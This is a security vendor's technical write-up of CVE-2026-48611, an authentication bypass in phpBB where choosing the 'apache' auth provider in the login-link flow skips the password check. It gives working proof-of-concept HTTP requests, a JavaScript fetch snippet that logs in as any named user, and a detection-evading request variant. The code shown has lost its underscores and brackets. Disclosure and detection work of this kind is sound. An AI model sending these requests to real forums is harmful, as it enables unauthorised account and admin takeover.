Authentication Bypass in the default configuration phpBB

A critical authentication bypass vulnerability in phpBB's default configuration, tracked as CVE-2026-48611, allows unauthenticated attackers to log in to any account with a single request. Discovered by Aikido's AI pentest product, the flaw was patched in version 3.3.17. Administrators are urged to update immediately.

June 10th, we announced a critical vulnerability in phpBB https://www.aikido.dev/blog/phpbb-authentication-bypass-rce that lets attackers bypass authentication, now known as CVE-2026-48611. This post is a follow-up, containing technical details that explain exploit scenarios and detection methods. To get you up to speed, phpBB is an old forum software that's still being used today by various technical communities. phpBB's Site Showcase https://www.phpbb.com/showcase/ alone has over 6 million members. While there have been some notorious attacks in the past, like the "Santy" worm in 2004, nowadays, they haven't had many problems with vulnerabilities. This disclosure breaks that trend. While researching to improve our AI pentest product, Aikido Attack https://www.aikido.dev/platform/attack 's agents notified us of a "Critical Authentication Bypass" in phpBB. We were slightly skeptical at first. Surely this was some configuration mistake or edge case we messed up in the setup. But it couldn't have been further from the truth. The found vulnerability works in default configuration, requiring only a single unauthenticated request to fully log in to any arbitrary account. Logging in to an administrator's account could grant you control over the whole forum After noticing this, we immediately reported the vulnerability on HackerOne https://hackerone.com/phpbb and received confirmation that it was triaged in under 9 minutes Four days later, a patch came out in version 3.3.17 https://www.phpbb.com/community/viewtopic.php?t=2672170 addressing the vulnerability. If you manage a phpBB forum, update to this version as soon as possible if you haven't already. We'll now dive into what parts of the code were vulnerable and how they were able to be exploited. Spoiler: it's not the crazy complicated exploit you might expect it to be… Authentication bypass This is all related to how exactly the login procedure works in phpBB. Not the main login flow, but specifically the "login-link" feature. When connecting to external services like Google or GitHub OAuth, this feature is for linking the account to an existing account on the phpBB instance or registering a new one. If you choose to connect it to an existing account, it asks you to log in to your account with the mode=login link query parameter. Submitting this will then connect the OAuth account after you log in. The callback is handled by ucp login link.php and first looks for login link data as query parameters, which must not be empty. These are extracted here: class ucp login link { function main $id, $mode { ... $data = $this- get login link data array ; if empty $data { $login link error = $user- lang 'LOGIN LINK NO DATA PROVIDED' ; } ... } } protected function get login link data array { ... foreach $var names as $var name { if strpos $var name, 'login link ' === 0 { $key name = substr $var name, $string start length ; $login link data $key name = $request- variable $var name, '', false, \phpbb\request\request interface::GET ; } } Luckily, this is easy to pass by adding some dummy data like login link aikido=1 . It makes the $data non-empty, and we can continue with the flow. Further down in the code, we start to notice something peculiar. We have control over the auth provider query parameter: // Use the auth provider requested even if different from configured $provider collection = $phpbb container- get 'auth.provider collection' ; $auth provider = $provider collection- get provider $request- variable 'auth provider', '' ; The value is normally only set to oauth , but we can fully control it. It's supposed to tell the phpBB server which provider should be used for verifying the authentication, for example, if you have both a local database and OAuth authentication configured. But what happens when we provide other values? phpBB defines all of these as classes under phpbb/auth/provider https://github.com/phpbb/phpbb/tree/efdb5f3bf4bb6562bcdc83a87e9641a7ac517e79/phpBB/phpbb/auth/provider . There is one named apache.php that is very simple, a little too simple: class apache extends base { public function login $username, $password { $php auth user = html entity decode $this- request- server 'PHP AUTH USER' , ENT COMPAT ; $php auth pw = html entity decode $this- request- server 'PHP AUTH PW' , ENT COMPAT ; if empty $php auth user && empty $php auth pw { // Basic auth username must match submitted username if $php auth user == $username { return array 'status' = LOGIN ERROR USERNAME, ... ; } // Look up user in database $sql = 'SELECT user id, username, user password, user passchg, user email, user type FROM ' . USERS TABLE . " WHERE username = '" . $this- db- sql escape $php auth user . "'"; $result = $this- db- sql query $sql ; $row = $this- db- sql fetchrow $result ; $this- db- sql freeresult $result ; if $row { // User inactive if $row 'user type' == USER INACTIVE || $row 'user type' == USER IGNORE { return array 'status' = LOGIN ERROR ACTIVE, ... ; } // Successful login return array 'status' = LOGIN SUCCESS, ... ; } It verifies the sent username matches PHP AUTH USER https://www.php.net/manual/en/features.http-auth.php decoded Basic authentication username , looks up the user, and then just returns LOGIN SUCCESS . But one thing is missing, a password check Congratulations, you just found a critical Authentication Bypass on phpBB By choosing an unexpected provider like apache , we can skip the password and log in as any user. Now, to clear up any confusion, the maintainers did not just "forget" to add a password check here. The intended functionality https://www.phpbb.com/community/viewtopic.php?t=530840 of the apache provider assumes that authentication is handled by the Apache proxy with .htpasswd , and every request must go through it first. phpBB just trusts the username that comes in the Basic authentication header in that case. What we did here was trigger the apache provider without Apache having to be configured, through a feature designed only for oauth . In this case, the client directly becomes the "trusted proxy," and we can send any username they wish. So, we can make a request that triggers the login-link flow with valid data and a username of our choosing, but set the handler to apache to skip the password check. Usernames aren't hard to find on phpBB instances, making it easy to log in as an administrator or moderator. All of this works in the default configuration of phpBB, making it all the more dangerous Proof of concept Reproducing this vulnerability is not hard. On any local phpBB instance, the following HTTP request shows a bypass to log in to the admin user encoded as Base64 in the Authorization: header like admin:x to YWRtaW46eA== . POST /ucp.php?mode=login link&auth provider=apache&login link aikido=1 HTTP/1.1 Host: phpbb.local Content-Length: 49 Authorization: Basic YWRtaW46eA== Content-Type: application/x-www-form-urlencoded login username=admin&login password=x&login=Login A successful response sets the cookies and redirects to the homepage. The attacker is then fully logged in to the targeted account. HTTP/1.1 302 Found Server: Apache/2.4.67 Debian X-Powered-By: PHP/8.2.31 Set-Cookie: phpbb f4xf4 u=1; path=/; domain=phpbb.local; HttpOnly Set-Cookie: phpbb f4xf4 k=; path=/; domain=phpbb.local; HttpOnly Set-Cookie: phpbb f4xf4 sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly Set-Cookie: phpbb f4xf4 u=2; path=/; domain=phpbb.local; HttpOnly Set-Cookie: phpbb f4xf4 k=; path=/; domain=phpbb.local; HttpOnly Set-Cookie: phpbb f4xf4 sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly Location: http://phpbb.local/index.php/ Content-Length: 0 Content-Type: text/html; charset=UTF-8 To generate the above request, the following JavaScript code can be run in the DevTools Console of any instance: js const TARGET USER = "admin"; await fetch '/ucp.php?mode=login link&auth provider=apache&login link aikido=1', { method: "POST", headers: { Authorization: Basic ${btoa TARGET USER + ":x" } }, body: new URLSearchParams {login username: TARGET USER, login password: "x", login: "Login"} } ; Reloading the webpage afterward shows the attacker is logged in to the targeted account: Indicators of compromise Check request logs for POST requests that have auth provider=apache and mode=login link query parameters together. This is the most common exploit. See the example request above . However, note that because phpBB reads both parameters from the POST body too, those parameters take priority over GET parameters. A filter bypass request can then look like a regular mode=login , while actually performing mode=login link in the body. login link is still a required query parameter, so it can be used as an indicator of a suspicious request, then analyzed manually further. It can look like this: POST /ucp.php?mode=login&login link ANYTHING=1 HTTP/1.1 Host: phpbb.local Content-Length: 86 Content-Type: application/x-www-form-urlencoded Authorization: Basic YWRtaW46eA== login username=admin&login password=x&mode=login link&auth provider=apache&login=Login This is the kind of thing Aikido Attack https://www.aikido.dev/attack/aipentest turns up on a normal run. It hunts auth bypasses, IDORs, and logic flaws the way a real attacker would, then validates each one so you only see what's actually exploitable. Point it at your own apps and secure them fast. Timeline - June 2, 2026 8:22 PM - Submitted report to https://hackerone.com/phpbb https://hackerone.com/phpbb VDP program - June 2, 2026 8:31 PM - Report was triaged by phpBB staff that's right, 9 minutes - June 6, 2026 4:26 PM - Version 3.3.17 with a patch is released - June 10, 2026 12:33 PM - We publish an initial announcement https://www.aikido.dev/blog/phpbb-authentication-bypass-rce to warn users - June 10, 2026 7:33 PM - phpBB maintainers ask us to wait 4 weeks before publishing technical details - July 3, 2026 2:45 AM - This technical write-up is published